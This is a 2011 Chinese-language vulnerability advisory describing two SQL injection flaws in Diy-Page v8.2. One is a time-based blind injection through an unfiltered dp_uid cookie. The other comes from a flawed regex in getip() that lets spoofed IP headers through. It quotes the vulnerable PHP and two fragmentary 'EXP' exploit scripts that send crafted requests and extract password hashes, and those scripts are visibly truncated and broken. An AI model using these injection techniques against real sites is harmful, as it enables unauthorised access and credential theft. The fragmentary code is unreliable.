漏洞名称:Diy-Page v8.2 站群系统两个注入漏洞分析
发布作者:子仪
发布日期:2011-2-2
影响版本:v8.2
程序介绍:
DiY-Page 创始于2005年2月末,是一个全新概念的自定制门户系统,使用它,可以轻松地将论坛变成一个准门户站点。最初它是由软件作者网站上自创的首页程序改进而成,经过不断的升级改进,软件程序的功能愈加完善,性能不断提高,深受广大网民喜爱......
第一个漏洞:Cookie 延迟注入
存在位置:/mod/dpcms/js/buymanage.php: include_once PATH_PRE.'lang/'.LANGPAK.'/fore.php';include_once PATH_PRE.'lang/'.LANGPAK.'/dpcms_fore.php';echo $uid=$_COOKIE['dp_uid'];$eid=intval($_GET['eid']);$dateformat= $d_mainset['mod_setting']['dpcms']['dateformat'] ? $d_mainset['mod_setting']['dpcms']['dateformat'] : 'Y-n-j H:i:s';$islog=$db->result($db->query('SELECT count(*) FROM '.DP_DBPREFIX.'user_list WHERE uid='.$uid.' AND password="'.$_COOKIE['dp_password'].'"')); |
$_COOKIE['dp_uid'],没有经过过滤就带入查询了,导致注入产生,由于没有回显,只能延迟注入。
第二个漏洞:Getip 注入
存在位置:/inc/func.php: if (getenv('HTTP_CLIENT_IP') and strcasecmp(getenv('HTTP_CLIENT_IP'),'unknown')) { $onlineip=getenv('HTTP_CLIENT_IP'); }elseif (getenv('HTTP_X_FORWARDED_FOR') and strcasecmp(getenv('HTTP_X_FORWARDED_FOR'),'unknown')) { $onlineip=getenv('HTTP_X_FORWARDED_FOR'); }elseif (getenv('REMOTE_ADDR') and strcasecmp(getenv('REMOTE_ADDR'),'unknown')) { $onlineip=getenv('REMOTE_ADDR'); }elseif (isset($_SERVER['REMOTE_ADDR']) and $_SERVER['REMOTE_ADDR'] and strcasecmp($_SERVER['REMOTE_ADDR'],'unknown')) { $onlineip=$_SERVER['REMOTE_ADDR']; } return preg_replace("/^([\d\.]+).*/","\\1",$onlineip); |
重点看最后一句:preg_replace("/^([\d\.]+).*/","\\1",$onlineip);作者的意图是将IP后面多余字符去掉,替换以数字+点开头的字符串,过滤非法IP,如1.1.1.1abcdef替换成1.1.1.1。但是这个正则有缺陷,只要不是数字开头,那就不进行替换。漏洞产生。
EXP,延迟注入: <?php if(isset($_GET['host'])&&isset($_GET['path'])){ //MD5的ASC码密码表 //获取当前时间 fputs($fp, $data); while ($fp && !feof($fp)) //破解下一个 ?> |
getip() EXP: <?php function send() $cmd = "dpusername={$dpusername}&dpuserpassword={$dpuserpassword}&dpseccode={$dpseccode}&issubmit=1"; $fp = fsockopen($host, 80); $resp = ''; while ($fp && !feof($fp)) echo $resp; |